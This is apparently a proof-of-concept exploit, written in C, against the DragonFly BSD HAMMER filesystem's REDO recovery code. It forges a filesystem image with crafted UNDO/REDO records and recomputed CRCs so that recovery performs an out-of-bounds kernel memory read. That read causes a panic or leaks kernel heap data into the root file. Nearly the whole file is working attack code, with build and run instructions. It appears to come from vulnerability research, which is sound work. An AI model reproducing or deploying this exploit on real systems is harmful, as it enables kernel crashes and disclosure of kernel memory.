DF-2594 / forge.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 | /* * DF-2594 image forger (raw-byte version, CRC-safe). * * Takes a clean newfs_hammer image and injects a malicious UNDO/REDO FIFO * state that triggers Stage2 REDO recovery with an inflated redo_data_bytes, * exercising the unvalidated-length vn_rdwr read in hammer_recover_redo_exec * (sys/vfs/hammer/hammer_recover.c:1332). * * Injected layout at the START of the UNDO zone (zone 3): * * [ext_offset .. first_offset) REDO_WRITE seqno=S flags=WRITE * redo_data_bytes = HUGE * redo_objid = 1 (root inode) * [first_offset .. last_offset] REDO_SYNC seqno=S+1 flags=SYNC * redo_offset = ext_offset * * Stage1 backward-scan finds REDO_SYNC -> REDO_RECOVERY_REQ + * recover_stage2_offset = ext_offset. Stage2 forward-scan finds the * REDO_WRITE (unfiltered) -> hammer_recover_redo_exec -> * vn_rdwr(UIO_WRITE, root_vp, redo+1, HUGE, ...) -> OOB kernel-memory read * -> page fault / panic (or kernel-heap bytes written to root file). * * CRC uses the kernel's own icrc32.c (linked). All field edits are done at * verified raw byte offsets (see check_offsets) so the on-disk struct layout * is matched exactly regardless of compiler padding. * * Build: cc -I/usr/src/sys -o forge forge.c icrc32.c * Run: ./forge <image-or-device> (as root on the guest) */ #include <sys/types.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> typedef uint32_t hammer_crc_t; typedef uint64_t hammer_off_t; #define HAMMER_BUFSIZE 16384 #define HAMMER_BUFMASK64 ((uint64_t)(HAMMER_BUFSIZE - 1)) #define HAMMER_BIGBLOCK_SIZE (8192 * 1024) #define HAMMER_BIGBLOCK_MASK64 ((uint64_t)(HAMMER_BIGBLOCK_SIZE - 1)) #define HAMMER_OFF_SHORT_MASK 0x000FFFFFFFFFFFFFULL #define HAMMER_OFF_ZONE_MASK 0xF000000000000000ULL #define HAMMER_ZONE_UNDO_INDEX 3 #define HAMMER_HEAD_ALIGN_MASK 7 #define HAMMER_HEAD_DOALIGN(b) (((b) + HAMMER_HEAD_ALIGN_MASK) & ~HAMMER_HEAD_ALIGN_MASK) #define HAMMER_HEAD_SIGNATURE 0xC84EU #define HAMMER_TAIL_SIGNATURE 0xC74FU #define HAMMER_HEAD_TYPE_REDO 0x0044U #define HAMMER_REDO_WRITE 0x00000001u #define HAMMER_REDO_SYNC 0x00000010u #define HAMMER_VOL_VERSION_SEVEN 7 #define HAMMER_VOL_VERSION_SIX 6 #define HAMMER_FSBUF_VOLUME 0xC8414D4DC5523031ULL /* zone encode for zone 3, vol 0 */ #define Z3(off) (((hammer_off_t)HAMMER_ZONE_UNDO_INDEX << 60) | ((off) & ~HAMMER_OFF_ZONE_MASK)) /* ---- verified raw byte offsets within volume header (from check_offsets) ---- */ #define OFF_VOL_CRC 156 #define OFF_VOL_VERSION 152 /* vol_crc@156, vol_version uint32 precedes it */ #define OFF_VOL_BUF_BEG 24 /* vol_bot_beg(8)@16 vol_mem_beg@... see below */ #define OFF_BLOCKMAP_BASE 264 #define BLOCKMAP_SZ 40 #define UNDO_BM_OFF (OFF_BLOCKMAP_BASE + HAMMER_ZONE_UNDO_INDEX * BLOCKMAP_SZ) /* 264+120=384 */ #define BM_FIRST_OFF (UNDO_BM_OFF + 8) #define BM_NEXT_OFF (UNDO_BM_OFF + 16) #define BM_ALLOC_OFF (UNDO_BM_OFF + 24) #define BM_ENTRYCRC_OFF (UNDO_BM_OFF + 36) #define OFF_UNDO_ARRAY 904 /* ---- link kernel CRC (userspace-buildable) ---- */ #include "crc32.c" #include "icrc32.c" static hammer_crc_t datacrc(uint32_t ver, const void *buf, size_t size) { if (ver >= HAMMER_VOL_VERSION_SEVEN) return iscsi_crc32(buf, size); return crc32(buf, size); } static int imgfd; static void xrdwr(off_t off, void *buf, size_t len, int wr) { if (wr) { if (pwrite(imgfd, buf, len, off) != (ssize_t)len) { perror("pwrite"); exit(1);} } else { if (pread(imgfd, buf, len, off) != (ssize_t)len) { perror("pread"); exit(1);} } } static uint16_t rd16(const unsigned char *p){ return p[0] | (p[1]<<8); } static uint32_t rd32(const unsigned char *p){ return p[0] | (p[1]<<8) | (p[2]<<16) | ((uint32_t)p[3]<<24); } static uint64_t rd64(const unsigned char *p){ uint64_t v=0; int i; for(i=0;i<8;i++) v |= (uint64_t)p[i]<<(8*i); return v; } static void wr16(unsigned char *p, uint16_t v){ p[0]=v; p[1]=v>>8; } static void wr32(unsigned char *p, uint32_t v){ p[0]=v; p[1]=v>>8; p[2]=v>>16; p[3]=v>>24; } static void wr64(unsigned char *p, uint64_t v){ int i; for(i=0;i<8;i++) p[i]=(v>>(8*i))&0xff; } int main(int argc, char **argv) { uint32_t forged_bytes = 0x7FFFF000u; int64_t forged_objid = 1; if (argc < 2 || argc > 4) { fprintf(stderr, "usage: %s <image> [redo_data_bytes_hex] [redo_objid]\n", argv[0]); return 2; } if (argc >= 3) forged_bytes = (uint32_t)strtoull(argv[2], NULL, 0); if (argc >= 4) forged_objid = (int64_t)strtoll(argv[3], NULL, 0); imgfd = open(argv[1], O_RDWR); if (imgfd < 0) { perror("open"); return 1; } printf("using redo_data_bytes = 0x%x redo_objid = %lld (0x%llx)\n", forged_bytes, (long long)forged_objid, (unsigned long long)forged_objid); unsigned char vh[2048]; xrdwr(0, vh, sizeof(vh), 0); uint64_t sig = rd64(vh); uint32_t ver = rd32(vh + OFF_VOL_VERSION); int64_t buf_beg = (int64_t)rd64(vh + 24); /* vol_buf_beg at offset 24 */ printf("vol_signature=%016llx (expect %016llx) version=%u vol_buf_beg=%lld\n", (unsigned long long)sig, (unsigned long long)HAMMER_FSBUF_VOLUME, ver, (long long)buf_beg); if (sig != HAMMER_FSBUF_VOLUME) { fprintf(stderr,"not HAMMER\n"); return 1; } uint64_t first0 = rd64(vh + BM_FIRST_OFF); uint64_t next0 = rd64(vh + BM_NEXT_OFF); uint64_t alloc0 = rd64(vh + BM_ALLOC_OFF); uint64_t ua0 = rd64(vh + OFF_UNDO_ARRAY); printf("UNDO bm: first=%016llx next=%016llx alloc=%016llx\n", (unsigned long long)first0,(unsigned long long)next0,(unsigned long long)alloc0); printf("undo_array[0]=%016llx\n", (unsigned long long)ua0); /* physical base of first undo bigblock */ int idx = (int)((Z3(0) & HAMMER_OFF_SHORT_MASK) / HAMMER_BIGBLOCK_SIZE); /* 0 */ off_t phys_bb = buf_beg + (off_t)(ua0 & HAMMER_OFF_SHORT_MASK); printf("undo phys bigblock base=%lld idx=%d\n", (long long)phys_bb, idx); /* record size: REDO(56) + tail(8) = 64, aligned */ int rsz = (int)HAMMER_HEAD_DOALIGN(56 + 8); /* 64 */ printf("record size=%d\n", rsz); uint64_t ext_offset = Z3(0); uint64_t first_offset = Z3((uint64_t)rsz); uint64_t last_offset = Z3((uint64_t)(2*rsz)); uint32_t S = 0x00001000u; /* build REDO_WRITE record at phys_bb+0 */ unsigned char rec[256]; memset(rec, 0, sizeof(rec)); /* head */ wr16(rec+0, HAMMER_HEAD_SIGNATURE); wr16(rec+2, HAMMER_HEAD_TYPE_REDO); wr32(rec+4, (uint32_t)rsz); wr32(rec+8, S); wr32(rec+12, 0); /* crc, fill later */ /* redo fields at offset 16: objid(8) offset(8) data_bytes(4) flags(4) loc(4) rsv01(4) rsv02(8) */ wr64(rec+16, (uint64_t)forged_objid); /* redo_objid = target inode */ wr64(rec+24, 0ull); /* redo_offset = file offset 0 */ wr32(rec+32, forged_bytes); /* redo_data_bytes HUGE */ wr32(rec+36, HAMMER_REDO_WRITE); /* redo_flags */ wr32(rec+40, 0); /* localization */ wr32(rec+44, 0); wr64(rec+48, 0); /* reserved */ /* tail at rec+rsz-8 */ wr16(rec+rsz-8+0, HAMMER_TAIL_SIGNATURE); wr16(rec+rsz-8+2, HAMMER_HEAD_TYPE_REDO); wr32(rec+rsz-8+4, (uint32_t)rsz); /* fifo head crc: datacrc(head,16) ^ datacrc(head+16, rsz-16) */ { hammer_crc_t a = datacrc(ver, rec, 12); hammer_crc_t b = datacrc(ver, rec+16, rsz-16); wr32(rec+12, a ^ b); } xrdwr(phys_bb + 0, rec, rsz, 1); /* build REDO_SYNC record at phys_bb+rsz */ memset(rec, 0, sizeof(rec)); wr16(rec+0, HAMMER_HEAD_SIGNATURE); wr16(rec+2, HAMMER_HEAD_TYPE_REDO); wr32(rec+4, (uint32_t)rsz); wr32(rec+8, S+1); wr32(rec+12, 0); wr64(rec+16, 0ull); /* objid unused */ wr64(rec+24, ext_offset); /* redo_offset = ext_offset (Stage2 start) */ wr32(rec+32, 0); /* data_bytes unused */ wr32(rec+36, HAMMER_REDO_SYNC); /* flags */ wr32(rec+40, 0); wr32(rec+44, 0); wr64(rec+48, 0); wr16(rec+rsz-8+0, HAMMER_TAIL_SIGNATURE); wr16(rec+rsz-8+2, HAMMER_HEAD_TYPE_REDO); wr32(rec+rsz-8+4, (uint32_t)rsz); { hammer_crc_t a = datacrc(ver, rec, 12); hammer_crc_t b = datacrc(ver, rec+16, rsz-16); wr32(rec+12, a ^ b); } xrdwr(phys_bb + rsz, rec, rsz, 1); printf("injected REDO_WRITE @phys %lld (z3 %016llx) data_bytes=0x%x\n", (long long)phys_bb, (unsigned long long)ext_offset, forged_bytes); printf("injected REDO_SYNC @phys %lld (z3 %016llx) redo_offset=%016llx\n", (long long)(phys_bb+rsz), (unsigned long long)first_offset, (unsigned long long)ext_offset); /* build sentinel record at phys_bb+2*rsz: a valid non-PAD record with a * deliberately mismatched seqno so Stage1's forward seqno scan terminates * via the discontinuity branch (instead of erroring on zeros). */ memset(rec, 0, sizeof(rec)); wr16(rec+0, HAMMER_HEAD_SIGNATURE); wr16(rec+2, 0x0041U); /* HAMMER_HEAD_TYPE_DUMMY */ wr32(rec+4, (uint32_t)rsz); wr32(rec+8, 0x99990000u); /* seqno != 0x1002 -> discontinuity */ wr32(rec+12, 0); wr16(rec+rsz-8+0, HAMMER_TAIL_SIGNATURE); wr16(rec+rsz-8+2, 0x0041U); wr32(rec+rsz-8+4, (uint32_t)rsz); { hammer_crc_t a = datacrc(ver, rec, 12); hammer_crc_t b = datacrc(ver, rec+16, rsz-16); wr32(rec+12, a ^ b); } xrdwr(phys_bb + 2*rsz, rec, rsz, 1); printf("injected SENTINEL @phys %lld (z3 %016llx) seqno=0x99990000\n", (long long)(phys_bb+2*rsz), (unsigned long long)last_offset); /* patch UNDO blockmap first/next in the vh buffer */ wr64(vh + BM_FIRST_OFF, first_offset); wr64(vh + BM_NEXT_OFF, last_offset); /* recompute blockmap entry_crc over [UNDO_BM_OFF, UNDO_BM_OFF+36) */ wr32(vh + BM_ENTRYCRC_OFF, datacrc(ver, vh + UNDO_BM_OFF, 36)); /* recompute volume header vol_crc: * vol_crc = datacrc([0,156)) ^ datacrc([160, 1928)) * CRCSIZE2 = 1928 - 156 - 4 = 1768 => region [160, 1928) */ wr32(vh + OFF_VOL_CRC, datacrc(ver, vh, 156) ^ datacrc(ver, vh + 160, 1768)); xrdwr(0, vh, sizeof(vh), 1); printf("patched bm first=%016llx next=%016llx entry_crc recomputed; vol_crc recomputed\n", (unsigned long long)first_offset, (unsigned long long)last_offset); printf("FORGE DONE\n"); return 0; } |